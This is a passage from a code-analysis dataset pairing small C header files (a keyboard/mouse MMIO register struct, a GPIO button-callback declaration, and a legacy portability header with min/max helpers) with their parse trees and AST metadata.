6, "column": 20}, "end_point": {"row": 6, "column": 30}}, {"id": 17, "type": "type_definition", "text": "typedef struct _KMI_MMIO {\n uint32_t cr;\n uint32_t stat;\n uint32_t data;\n uint32_t clk;\n uint32_t ir;\n} KMI_MMIO;", "parent": 3, "children": [18, 19, 37], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 14, "column": 11}}, {"id": 18, "type": "typedef", "text": "typedef", "parent": 17, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 19, "type": "struct_specifier", "text": "struct _KMI_MMIO {\n uint32_t cr;\n uint32_t stat;\n uint32_t data;\n uint32_t clk;\n uint32_t ir;\n}", "parent": 17, "children": [20, 21], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 14, "column": 1}}, {"id": 20, "type": "struct", "text": "struct", "parent": 19, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 14}}, {"id": 21, "type": "type_identifier", "text": "_KMI_MMIO", "parent": 19, "children": [], "start_point": {"row": 8, "column": 15}, "end_point": {"row": 8, "column": 24}}, {"id": 22, "type": "field_declaration", "text": "uint32_t cr;", "parent": 19, "children": [23, 24], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 16}}, {"id": 23, "type": "primitive_type", "text": "uint32_t", "parent": 22, "children": [], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 12}}, {"id": 24, "type": "field_identifier", "text": "cr", "parent": 22, "children": [], "start_point": {"row": 9, "column": 13}, "end_point": {"row": 9, "column": 15}}, {"id": 25, "type": "field_declaration", "text": "uint32_t stat;", "parent": 19, "children": [26, 27], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 18}}, {"id": 26, "type": "primitive_type", "text": "uint32_t", "parent": 25, "children": [], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 12}}, {"id": 27, "type": "field_identifier", "text": "stat", "parent": 25, "children": [], "start_point": {"row": 10, "column": 13}, "end_point": {"row": 10, "column": 17}}, {"id": 28, "type": "field_declaration", "text": "uint32_t data;", "parent": 19, "children": [29, 30], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 18}}, {"id": 29, "type": "primitive_type", "text": "uint32_t", "parent": 28, "children": [], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 12}}, {"id": 30, "type": "field_identifier", "text": "data", "parent": 28, "children": [], "start_point": {"row": 11, "column": 13}, "end_point": {"row": 11, "column": 17}}, {"id": 31, "type": "field_declaration", "text": "uint32_t clk;", "parent": 19, "children": [32, 33], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 17}}, {"id": 32, "type": "primitive_type", "text": "uint32_t", "parent": 31, "children": [], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 12, "column": 12}}, {"id": 33, "type": "field_identifier", "text": "clk", "parent": 31, "children": [], "start_point": {"row": 12, "column": 13}, "end_point": {"row": 12, "column": 16}}, {"id": 34, "type": "field_declaration", "text": "uint32_t ir;", "parent": 19, "children": [35, 36], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 16}}, {"id": 35, "type": "primitive_type", "text": "uint32_t", "parent": 34, "children": [], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 12}}, {"id": 36, "type": "field_identifier", "text": "ir", "parent": 34, "children": [], "start_point": {"row": 13, "column": 13}, "end_point": {"row": 13, "column": 15}}, {"id": 37, "type": "type_identifier", "text": "KMI_MMIO", "parent": 17, "children": [], "start_point": {"row": 14, "column": 2}, "end_point": {"row": 14, "column": 10}}, {"id": 38, "type": "declaration", "text": "void test();", "parent": 3, "children": [39, 40], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 12}}, {"id": 39, "type": "primitive_type", "text": "void", "parent": 38, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 4}}, {"id": 40, "type": "function_declarator", "text": "test()", "parent": 38, "children": [41, 42], "start_point": {"row": 16, "column": 5}, "end_point": {"row": 16, "column": 11}}, {"id": 41, "type": "identifier", "text": "test", "parent": 40, "children": [], "start_point": {"row": 16, "column": 5}, "end_point": {"row": 16, "column": 9}}, {"id": 42, "type": "parameter_list", "text": "()", "parent": 40, "children": [], "start_point": {"row": 16, "column": 9}, "end_point": {"row": 16, "column": 11}}, {"id": 43, "type": "#endif", "text": "#endif", "parent": 3, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 6}}]}, "node_categories": {"declarations": {"functions": [40], "variables": [17, 22, 25, 28, 31, 34, 38], "classes": [19, 20], "imports": [0, 1], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [3, 4, 5, 8, 11, 15, 21, 24, 27, 30, 33, 36, 37, 41, 43], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [2], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 40, "universal_type": "function", "name": "unknown", "text_snippet": "test()"}], "class_declarations": [{"node_id": 19, "universal_type": "class", "name": "_KMI_MMIO", "text_snippet": "struct _KMI_MMIO {\n uint32_t cr;\n uint32_t stat;\n uint32_t data;\n uint32_t clk;\n uint"}, {"node_id": 20, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 0, "text": "#include <stdint.h>\n"}, {"node_id": 1, "text": "#include"}]}, "original_source_code": "#include <stdint.h>\n\n#ifndef IO_H\n#define IO_H\n\n#define KMI_KB_BASE 0x18000000\n#define KMI_MS_BASE 0x19000000\n\ntypedef struct _KMI_MMIO {\n uint32_t cr;\n uint32_t stat;\n uint32_t data;\n uint32_t clk;\n uint32_t ir;\n} KMI_MMIO;\n\nvoid test();\n\n#endif"}
81,166
c
#include <board.h> #include <gpio.h> void configure_buttons(void); void button_pressed(struct device *dev, struct gpio_callback *cb, u32_t pins);
35.5
4
(translation_unit) "#include <board.h>\n#include <gpio.h>\n\nvoid configure_buttons(void);\n\nvoid button_pressed(struct device *dev, struct gpio_callback *cb, u32_t pins);\n" (preproc_include) "#include <board.h>\n" (#include) "#include" (system_lib_string) "<board.h>" (preproc_include) "#include <gpio.h>\n" (#include) "#include" (system_lib_string) "<gpio.h>" (declaration) "void configure_buttons(void);" (primitive_type) "void" (function_declarator) "configure_buttons(void)" (identifier) "configure_buttons" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (declaration) "void button_pressed(struct device *dev, struct gpio_callback *cb, u32_t pins);" (primitive_type) "void" (function_declarator) "button_pressed(struct device *dev, struct gpio_callback *cb, u32_t pins)" (identifier) "button_pressed" (parameter_list) "(struct device *dev, struct gpio_callback *cb, u32_t pins)" (() "(" (parameter_declaration) "struct device *dev" (struct_specifier) "struct device" (struct) "struct" (type_identifier) "device" (pointer_declarator) "*dev" (*) "*" (identifier) "dev" (,) "," (parameter_declaration) "struct gpio_callback *cb" (struct_specifier) "struct gpio_callback" (struct) "struct" (type_identifier) "gpio_callback" (pointer_declarator) "*cb" (*) "*" (identifier) "cb" (,) "," (parameter_declaration) "u32_t pins" (type_identifier) "u32_t" (identifier) "pins" ()) ")" (;) ";"
44
0
{"language": "c", "success": true, "metadata": {"lines": 4, "avg_line_length": 35.5, "nodes": 35, "errors": 0, "source_hash": "cee512fdab200e8cae1dd2d64c052333ba773e6871cddf40205c3f6a97632845", "categorized_nodes": 26}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <board.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<board.h>", "parent": 0, "children": [], "start_point": {"row": 0, "column": 9}, "end_point": {"row": 0, "column": 18}}, {"id": 3, "type": "preproc_include", "text": "#include <gpio.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<gpio.h>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 17}}, {"id": 6, "type": "declaration", "text": "void configure_buttons(void);", "parent": null, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 29}}, {"id": 7, "type": "primitive_type", "text": "void", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 4}}, {"id": 8, "type": "function_declarator", "text": "configure_buttons(void)", "parent": 6, "children": [9, 10], "start_point": {"row": 3, "column": 5}, "end_point": {"row": 3, "column": 28}}, {"id": 9, "type": "identifier", "text": "configure_buttons", "parent": 8, "children": [], "start_point": {"row": 3, "column": 5}, "end_point": {"row": 3, "column": 22}}, {"id": 10, "type": "parameter_list", "text": "(void)", "parent": 8, "children": [11], "start_point": {"row": 3, "column": 22}, "end_point": {"row": 3, "column": 28}}, {"id": 11, "type": "parameter_declaration", "text": "void", "parent": 10, "children": [12], "start_point": {"row": 3, "column": 23}, "end_point": {"row": 3, "column": 27}}, {"id": 12, "type": "primitive_type", "text": "void", "parent": 11, "children": [], "start_point": {"row": 3, "column": 23}, "end_point": {"row": 3, "column": 27}}, {"id": 13, "type": "declaration", "text": "void button_pressed(struct device *dev, struct gpio_callback *cb, u32_t pins);", "parent": null, "children": [14, 15], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 78}}, {"id": 14, "type": "primitive_type", "text": "void", "parent": 13, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 4}}, {"id": 15, "type": "function_declarator", "text": "button_pressed(struct device *dev, struct gpio_callback *cb, u32_t pins)", "parent": 13, "children": [16, 17], "start_point": {"row": 5, "column": 5}, "end_point": {"row": 5, "column": 77}}, {"id": 16, "type": "identifier", "text": "button_pressed", "parent": 15, "children": [], "start_point": {"row": 5, "column": 5}, "end_point": {"row": 5, "column": 19}}, {"id": 17, "type": "parameter_list", "text": "(struct device *dev, struct gpio_callback *cb, u32_t pins)", "parent": 15, "children": [18, 25, 32], "start_point": {"row": 5, "column": 19}, "end_point": {"row": 5, "column": 77}}, {"id": 18, "type": "parameter_declaration", "text": "struct device *dev", "parent": 17, "children": [19, 22], "start_point": {"row": 5, "column": 20}, "end_point": {"row": 5, "column": 38}}, {"id": 19, "type": "struct_specifier", "text": "struct device", "parent": 18, "children": [20, 21], "start_point": {"row": 5, "column": 20}, "end_point": {"row": 5, "column": 33}}, {"id": 20, "type": "struct", "text": "struct", "parent": 19, "children": [], "start_point": {"row": 5, "column": 20}, "end_point": {"row": 5, "column": 26}}, {"id": 21, "type": "type_identifier", "text": "device", "parent": 19, "children": [], "start_point": {"row": 5, "column": 27}, "end_point": {"row": 5, "column": 33}}, {"id": 22, "type": "pointer_declarator", "text": "*dev", "parent": 18, "children": [23, 24], "start_point": {"row": 5, "column": 34}, "end_point": {"row": 5, "column": 38}}, {"id": 23, "type": "*", "text": "*", "parent": 22, "children": [], "start_point": {"row": 5, "column": 34}, "end_point": {"row": 5, "column": 35}}, {"id": 24, "type": "identifier", "text": "dev", "parent": 22, "children": [], "start_point": {"row": 5, "column": 35}, "end_point": {"row": 5, "column": 38}}, {"id": 25, "type": "parameter_declaration", "text": "struct gpio_callback *cb", "parent": 17, "children": [26, 29], "start_point": {"row": 5, "column": 40}, "end_point": {"row": 5, "column": 64}}, {"id": 26, "type": "struct_specifier", "text": "struct gpio_callback", "parent": 25, "children": [27, 28], "start_point": {"row": 5, "column": 40}, "end_point": {"row": 5, "column": 60}}, {"id": 27, "type": "struct", "text": "struct", "parent": 26, "children": [], "start_point": {"row": 5, "column": 40}, "end_point": {"row": 5, "column": 46}}, {"id": 28, "type": "type_identifier", "text": "gpio_callback", "parent": 26, "children": [], "start_point": {"row": 5, "column": 47}, "end_point": {"row": 5, "column": 60}}, {"id": 29, "type": "pointer_declarator", "text": "*cb", "parent": 25, "children": [30, 31], "start_point": {"row": 5, "column": 61}, "end_point": {"row": 5, "column": 64}}, {"id": 30, "type": "*", "text": "*", "parent": 29, "children": [], "start_point": {"row": 5, "column": 61}, "end_point": {"row": 5, "column": 62}}, {"id": 31, "type": "identifier", "text": "cb", "parent": 29, "children": [], "start_point": {"row": 5, "column": 62}, "end_point": {"row": 5, "column": 64}}, {"id": 32, "type": "parameter_declaration", "text": "u32_t pins", "parent": 17, "children": [33, 34], "start_point": {"row": 5, "column": 66}, "end_point": {"row": 5, "column": 76}}, {"id": 33, "type": "type_identifier", "text": "u32_t", "parent": 32, "children": [], "start_point": {"row": 5, "column": 66}, "end_point": {"row": 5, "column": 71}}, {"id": 34, "type": "identifier", "text": "pins", "parent": 32, "children": [], "start_point": {"row": 5, "column": 72}, "end_point": {"row": 5, "column": 76}}]}, "node_categories": {"declarations": {"functions": [8, 15], "variables": [6, 11, 13, 18, 25, 32], "classes": [19, 20, 26, 27], "imports": [0, 1, 3, 4], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [9, 16, 21, 24, 28, 31, 33, 34], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 8, "universal_type": "function", "name": "unknown", "text_snippet": "configure_buttons(void)"}, {"node_id": 15, "universal_type": "function", "name": "gpio_callback", "text_snippet": "button_pressed(struct device *dev, struct gpio_callback *cb, u32_t pins)"}], "class_declarations": [{"node_id": 19, "universal_type": "class", "name": "device", "text_snippet": "struct device"}, {"node_id": 20, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 26, "universal_type": "class", "name": "gpio_callback", "text_snippet": "struct gpio_callback"}, {"node_id": 27, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 0, "text": "#include <board.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include <gpio.h>\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "#include <board.h>\n#include <gpio.h>\n\nvoid configure_buttons(void);\n\nvoid button_pressed(struct device *dev, struct gpio_callback *cb, u32_t pins);\n"}
81,167
c
#ifndef ScenarioMachdep_H #define ScenarioMachdep_H // RW2STL -- inserted: #include <string> // End of RW2STL -- inserted includes. #include <stdlib.h> #include <scenario/src/dll.h> #if defined(_MSC_VER) //# define CMRP_DATA_PATH "..\\..\\..\\cmrpData\\" # define CMRP_DATA_PATH "..\\..\\cmrpData\\" #else # define CMRP_DATA_PATH "../../cmrpData/" #endif #ifdef RS6K // tempnam function supported #define TEMPNAM_AVAILABLE 1 #endif #ifdef SUN4 /* Sun or GNU gcc seems to not have $ NLS support in stdio print routines, * so NLS_DOLLAR_FORMAT_SUPPORT is left undefined */ /* Platform lacks ansi function strerror */ #define NO_ANSI_STRERROR #define SPRINTF_NON_INT_RET #ifdef __cplusplus #define TRY_THROW_CATCH_NOT_SUPPORTED #define OLD_STYLE_MALLOC_FREE /* Sun C++ V2 required -DNULL=0 */ #define 0 0 #endif // tempnam function supported #define TEMPNAM_AVAILABLE 1 // used in difCmrpF.C #define EXIT_FAILURE 1 #endif //----------------------------------------------------------------------------- // portableFree // // Function that hides incompatibilities between various versions of // free() //----------------------------------------------------------------------------- inline void portableFree (void * mem) { if ( mem != 0 ) free ( #ifdef OLD_STYLE_MALLOC_FREE (char *) #endif mem); } // Sun CC was generating the following error messages when this was inline // "../src/timeVecs.C", line 46: warning: // size_tsize_tMax(const size_t&, const size_t&) not inlined, // called twice in an expression // "../src/timeVecs.C", line 335: warning: // out-of-line copy of size_tMax() created // "../../scenario/src/machdep.h", line 43: identifier redeclared: // size_tMax__FRCUiT1 // "../src/timeVecs.C", line 337: warning: // static function called but not defined: size_tMax__FRCUiT1() #ifdef SUN4 static #else inline #endif size_t size_tMax (const size_t& i, const size_t& j) { return (i > j ? i : j); } #ifdef SUN4 static #else inline #endif float LgFrFloatMax (const float i, const float j) { return (i > j ? i : j); } #ifdef SUN4 static #else inline #endif size_t size_tMin (const size_t& i, const size_t& j) { return (i < j ? i : j); } #ifdef SUN4 static #else inline #endif float LgFrFloatMin (const float i, const float j) { return (i < j ? i : j); } // Get name which can be used for a temporary file LGFR_DECLSPEC std::string LGFR_STDCALL LgFrTempFileName(); // Return true if file exists bool LgFrDoesFileExist( const std::string& fileName ); int LgFrStrcmpcaseins( const char* s1, const char* s2 ); void LgFrMachdepTest(); #endif
22.41
111
(translation_unit) "#ifndef ScenarioMachdep_H\n#define ScenarioMachdep_H\n// RW2STL -- inserted:\n#include <string>\n// End of RW2STL -- inserted includes.\n\n#include <stdlib.h>\n\n#include <scenario/src/dll.h>\n\n\n#if defined(_MSC_VER)\n//# define CMRP_DATA_PATH "..\\..\\..\\cmrpData\\"\n# define CMRP_DATA_PATH "..\\..\\cmrpData\\"\n#else\n# define CMRP_DATA_PATH "../../cmrpData/"\n#endif\n\n#ifdef RS6K\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n#endif\n\n#ifdef SUN4\n/* Sun or GNU gcc seems to not have $ NLS support in stdio print routines,\n * so NLS_DOLLAR_FORMAT_SUPPORT is left undefined */\n \n/* Platform lacks ansi function strerror */\n#define NO_ANSI_STRERROR\n#define SPRINTF_NON_INT_RET\n\n#ifdef __cplusplus\n#define TRY_THROW_CATCH_NOT_SUPPORTED\n#define OLD_STYLE_MALLOC_FREE\n/* Sun C++ V2 required -DNULL=0 */\n#define 0 0\n#endif\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n// used in difCmrpF.C\n#define EXIT_FAILURE 1\n\n#endif\n\n//-----------------------------------------------------------------------------\n// portableFree\n//\n// Function that hides incompatibilities between various versions of\n// free()\n//-----------------------------------------------------------------------------\ninline\nvoid\nportableFree (void * mem) \n{\n if ( mem != 0 )\n free (\n#ifdef OLD_STYLE_MALLOC_FREE\n (char *)\n#endif\n mem);\n}\n\n// Sun CC was generating the following error messages when this was inline\n// "../src/timeVecs.C", line 46: warning:\n// size_tsize_tMax(const size_t&, const size_t&) not inlined,\n// called twice in an expression\n// "../src/timeVecs.C", line 335: warning:\n// out-of-line copy of size_tMax() created\n// "../../scenario/src/machdep.h", line 43: identifier redeclared:\n// size_tMax__FRCUiT1\n// "../src/timeVecs.C", line 337: warning:\n// static function called but not defined: size_tMax__FRCUiT1()\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nsize_t\nsize_tMax (const size_t& i, const size_t& j)\n{\n return (i > j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nfloat\nLgFrFloatMax (const float i, const float j)\n{\n return (i > j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nsize_t\nsize_tMin (const size_t& i, const size_t& j)\n{\n return (i < j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nfloat\nLgFrFloatMin (const float i, const float j)\n{\n return (i < j ? i : j);\n}\n\n\n// Get name which can be used for a temporary file\nLGFR_DECLSPEC std::string LGFR_STDCALL LgFrTempFileName();\n\n// Return true if file exists\nbool LgFrDoesFileExist( const std::string& fileName );\n\nint LgFrStrcmpcaseins( const char* s1, const char* s2 );\n\nvoid LgFrMachdepTest();\n\n#endif\n" (ERROR) "#ifndef ScenarioMachdep_H\n#define ScenarioMachdep_H\n// RW2STL -- inserted:\n#include <string>\n// End of RW2STL -- inserted includes.\n\n#include <stdlib.h>\n\n#include <scenario/src/dll.h>\n\n\n#if defined(_MSC_VER)\n//# define CMRP_DATA_PATH "..\\..\\..\\cmrpData\\"\n# define CMRP_DATA_PATH "..\\..\\cmrpData\\"\n#else\n# define CMRP_DATA_PATH "../../cmrpData/"\n#endif\n\n#ifdef RS6K\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n#endif\n\n#ifdef SUN4\n/* Sun or GNU gcc seems to not have $ NLS support in stdio print routines,\n * so NLS_DOLLAR_FORMAT_SUPPORT is left undefined */\n \n/* Platform lacks ansi function strerror */\n#define NO_ANSI_STRERROR\n#define SPRINTF_NON_INT_RET\n\n#ifdef __cplusplus\n#define TRY_THROW_CATCH_NOT_SUPPORTED\n#define OLD_STYLE_MALLOC_FREE\n/* Sun C++ V2 required -DNULL=0 */\n#define 0 0\n#endif\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n// used in difCmrpF.C\n#define EXIT_FAILURE 1\n\n#endif\n\n//-----------------------------------------------------------------------------\n// portableFree\n//\n// Function that hides incompatibilities between various versions of\n// free()\n//-----------------------------------------------------------------------------\ninline\nvoid\nportableFree (void * mem) \n{\n if ( mem != 0 )\n free (\n#ifdef OLD_STYLE_MALLOC_FREE\n (char *)\n#endif\n mem);\n}\n\n// Sun CC was generating the following error messages when this was inline\n// "../src/timeVecs.C", line 46: warning:\n// size_tsize_tMax(const size_t&, const size_t&) not inlined,\n// called twice in an expression\n// "../src/timeVecs.C", line 335: warning:\n// out-of-line copy of size_tMax() created\n// "../../scenario/src/machdep.h", line 43: identifier redeclared:\n// size_tMax__FRCUiT1\n// "../src/timeVecs.C", line 337: warning:\n// static function called but not defined: size_tMax__FRCUiT1()\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nsize_t\nsize_tMax (const size_t& i, const size_t& j)\n{\n return (i > j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nfloat\nLgFrFloatMax (const float i, const float j)\n{\n return (i > j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nsize_t\nsize_tMin (const size_t& i, const size_t& j)\n{\n return (i < j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nfloat\nLgFrFloatMin (const float i, const float j)\n{\n return (i < j ? i : j);\n}\n\n\n// Get name which can be used for a temporary file\nLGFR_DECLSPEC std::string LGFR_STDCALL LgFrTempFileName();\n\n// Return true if file exists\nbool LgFrDoesFileExist( const std::string& fileName );\n\nint LgFrStrcmpcaseins( const char* s1, const char* s2 );\n\nvoid LgFrMachdepTest();\n\n#endif" (#ifndef) "#ifndef" (identifier) "ScenarioMachdep_H" (preproc_def) "#define ScenarioMachdep_H\n" (#define) "#define" (identifier) "ScenarioMachdep_H" (comment) "// RW2STL -- inserted:" (preproc_include) "#include <string>\n" (#include) "#include" (system_lib_string) "<string>" (comment) "// End of RW2STL -- inserted includes." (preproc_include) "#include <stdlib.h>\n" (#include) "#include" (system_lib_string) "<stdlib.h>" (preproc_include) "#include <scenario/src/dll.h>\n" (#include) "#include" (system_lib_string) "<scenario/src/dll.h>" (preproc_if) "#if defined(_MSC_VER)\n//# define CMRP_DATA_PATH "..\\..\\..\\cmrpData\\"\n# define CMRP_DATA_PATH "..\\..\\cmrpData\\"\n#else\n# define CMRP_DATA_PATH "../../cmrpData/"\n#endif" (#if) "#if" (preproc_defined) "defined(_MSC_VER)" (defined) "defined" (() "(" (identifier) "_MSC_VER" ()) ")" ( ) "\n" (comment) "//# define CMRP_DATA_PATH "..\\..\\..\\cmrpData\\"" (preproc_def) "# define CMRP_DATA_PATH "..\\..\\cmrpData\\"\n" (#define) "# define" (identifier) "CMRP_DATA_PATH" (preproc_arg) ""..\\..\\cmrpData\\"" (preproc_else) "#else\n# define CMRP_DATA_PATH "../../cmrpData/"\n" (#else) "#else" (preproc_def) "# define CMRP_DATA_PATH "../../cmrpData/"\n" (#define) "# define" (identifier) "CMRP_DATA_PATH" (preproc_arg) ""../../cmrpData/"" (#endif) "#endif" (preproc_ifdef) "#ifdef RS6K\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n#endif" (#ifdef) "#ifdef" (identifier) "RS6K" (comment) "// tempnam function supported" (preproc_def) "#define TEMPNAM_AVAILABLE 1\n" (#define) "#define" (identifier) "TEMPNAM_AVAILABLE" (preproc_arg) "1" (#endif) "#endif" (preproc_ifdef) "#ifdef SUN4\n/* Sun or GNU gcc seems to not have $ NLS support in stdio print routines,\n * so NLS_DOLLAR_FORMAT_SUPPORT is left undefined */\n \n/* Platform lacks ansi function strerror */\n#define NO_ANSI_STRERROR\n#define SPRINTF_NON_INT_RET\n\n#ifdef __cplusplus\n#define TRY_THROW_CATCH_NOT_SUPPORTED\n#define OLD_STYLE_MALLOC_FREE\n/* Sun C++ V2 required -DNULL=0 */\n#define 0 0\n#endif\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n// used in difCmrpF.C\n#define EXIT_FAILURE 1\n\n#endif" (#ifdef) "#ifdef" (identifier) "SUN4" (comment) "/* Sun or GNU gcc seems to not have $ NLS support in stdio print routines,\n * so NLS_DOLLAR_FORMAT_SUPPORT is left undefined */" (comment) "/* Platform lacks ansi function strerror */" (preproc_def) "#define NO_ANSI_STRERROR\n" (#define) "#define" (identifier) "NO_ANSI_STRERROR" (preproc_def) "#define SPRINTF_NON_INT_RET\n" (#define) "#define" (identifier) "SPRINTF_NON_INT_RET" (preproc_ifdef) "#ifdef __cplusplus\n#define TRY_THROW_CATCH_NOT_SUPPORTED\n#define OLD_STYLE_MALLOC_FREE\n/* Sun C++ V2 required -DNULL=0 */\n#define 0 0\n#endif" (#ifdef) "#ifdef" (identifier) "__cplusplus" (preproc_def) "#define TRY_THROW_CATCH_NOT_SUPPORTED\n" (#define) "#define" (identifier) "TRY_THROW_CATCH_NOT_SUPPORTED" (preproc_def) "#define OLD_STYLE_MALLOC_FREE\n" (#define) "#define" (identifier) "OLD_STYLE_MALLOC_FREE" (comment) "/* Sun C++ V2 required -DNULL=0 */" (ERROR) "#define 0 0" (#define) "#define" (number_literal) "0" (number_literal) "0" (#endif) "#endif" (comment) "// tempnam function supported" (preproc_def) "#define TEMPNAM_AVAILABLE 1\n" (#define) "#define" (identifier) "TEMPNAM_AVAILABLE" (preproc_arg) "1" (comment) "// used in difCmrpF.C" (preproc_def) "#define EXIT_FAILURE 1\n" (#define) "#define" (identifier) "EXIT_FAILURE" (preproc_arg) "1" (#endif) "#endif" (comment) "//-----------------------------------------------------------------------------" (comment) "// portableFree" (comment) "//" (comment) "// Function that hides incompatibilities between various versions of" (comment) "// free()" (comment) "//-----------------------------------------------------------------------------" (function_definition) "inline\nvoid\nportableFree (void * mem) \n{\n if ( mem != 0 )\n free (\n#ifdef OLD_STYLE_MALLOC_FREE\n (char *)\n#endif\n mem);\n}" (storage_class_specifier) "inline" (inline) "inline" (primitive_type) "void" (function_declarator) "portableFree (void * mem)" (identifier) "portableFree" (parameter_list) "(void * mem)" (() "(" (parameter_declaration) "void * mem" (primitive_type) "void" (pointer_declarator) "* mem" (*) "*" (identifier) "mem" ()) ")" (compound_statement) "{\n if ( mem != 0 )\n free (\n#ifdef OLD_STYLE_MALLOC_FREE\n (char *)\n#endif\n mem);\n}" ({) "{" (if_statement) "if ( mem != 0 )\n free (\n#ifdef OLD_STYLE_MALLOC_FREE\n (char *)\n#endif\n mem);" (if) "if" (parenthesized_expression) "( mem != 0 )" (() "(" (binary_expression) "mem != 0" (identifier) "mem" (!=) "!=" (number_literal) "0" ()) ")" (expression_statement) "free (\n#ifdef OLD_STYLE_MALLOC_FREE\n (char *)\n#endif\n mem);" (call_expression) "free (\n#ifdef OLD_STYLE_MALLOC_FREE\n (char *)\n#endif\n mem)" (identifier) "free" (argument_list) "(\n#ifdef OLD_STYLE_MALLOC_FREE\n (char *)\n#endif\n mem)" (() "(" (ERROR) "#ifdef" (#ifdef) "#ifdef" (call_expression) "OLD_STYLE_MALLOC_FREE\n (char *)\n#endif\n mem)" (identifier) "OLD_STYLE_MALLOC_FREE" (argument_list) "(char *)\n#endif\n mem)" (() "(" (binary_expression) "char *)\n#endif\n mem" (identifier) "char" (*) "*" (ERROR) ")\n#endif" ()) ")" (#endif) "#endif" (identifier) "mem" ()) ")" ()) "" (;) ";" (}) "}" (comment) "// Sun CC was generating the following error messages when this was inline" (comment) "// "../src/timeVecs.C", line 46: warning:" (comment) "// size_tsize_tMax(const size_t&, const size_t&) not inlined," (comment) "// called twice in an expression" (comment) "// "../src/timeVecs.C", line 335: warning:" (comment) "// out-of-line copy of size_tMax() created" (comment) "// "../../scenario/src/machdep.h", line 43: identifier redeclared:" (comment) "// size_tMax__FRCUiT1" (comment) "// "../src/timeVecs.C", line 337: warning:" (comment) "// static function called but not defined: size_tMax__FRCUiT1()" (#ifdef) "#ifdef" (identifier) "SUN4" (function_definition) "static\n#else\ninline\n#endif\nsize_t\nsize_tMax (const size_t& i, const size_t& j)\n{\n return (i > j ? i : j);\n}" (storage_class_specifier) "static" (static) "static" (ERROR) "#else" (#else) "#else" (storage_class_specifier) "inline" (inline) "inline" (ERROR) "#endif" (#endif) "#endif" (primitive_type) "size_t" (function_declarator) "size_tMax (const size_t& i, const size_t& j)" (identifier) "size_tMax" (parameter_list) "(const size_t& i, const size_t& j)" (() "(" (parameter_declaration) "const size_t& i" (type_qualifier) "const" (const) "const" (primitive_type) "size_t" (ERROR) "&" (&) "&" (identifier) "i" (,) "," (parameter_declaration) "const size_t& j" (type_qualifier) "const" (const) "const" (primitive_type) "size_t" (ERROR) "&" (&) "&" (identifier) "j" ()) ")" (compound_statement) "{\n return (i > j ? i : j);\n}" ({) "{" (return_statement) "return (i > j ? i : j);" (return) "return" (parenthesized_expression) "(i > j ? i : j)" (() "(" (conditional_expression) "i > j ? i : j" 